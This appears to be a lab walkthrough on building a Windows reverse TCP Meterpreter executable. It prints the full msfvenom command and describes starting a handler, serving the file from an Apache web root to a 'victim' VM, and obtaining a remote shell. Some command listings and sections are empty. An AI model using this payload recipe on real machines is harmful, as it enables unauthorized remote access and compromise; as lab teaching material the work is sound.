How to Create a Reverse TCP Shell Windows Executable Using Metasploit

Then I configure the network to ensure each machine can ping each other. This step is a mandatory step in order for this to work.

I then used “msfvenom” to create the windows reverse_tcp payload. With the below command:

“msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.103 LPORT=4444 -f exe -o /home/kali/Desktop/rs_exploitl.exe”

Command explanation :

Msfvenom is a command-line instance of Metasploit that is used to generate and output all of the various types of shellcode that are available in Metasploit.

Abbreviations / Flags:

The payload will then download to the desktop since we used the “-o” flag to write the file to the desktop.

Then I opened a second terminal and used the “msfconsole” command to open the “Metasploit framework”

I then set the Listening port on the kali machine to listen on port “4444”

Then used the “exploit” command to run the handler.

Now, remember, our exploit file is on the desktop on the kali machine. We have to get it over to our victim’s virtual machine.

In this lab, I copied the exploit file from the desktop to the webserver: “/var/www/html/” directory.

I then started the apache2 server by using the following command:

I then verified the apache2 service was running by using the following command:

This means that from the victim’s machine we can browse “http:// 192.168.1.103/rs_exploit.exe” and it will automatically download the file.

Verified the file automatically downloaded:

I then “double-clicked” and ran the file.

Once the file ran successfully, I switched over to the kali machine and verified the connection was established and we now have access to the “C:\” drive via shell.

I then verified the connection has been established on the windows virtual machine using the “netstat” command:

References: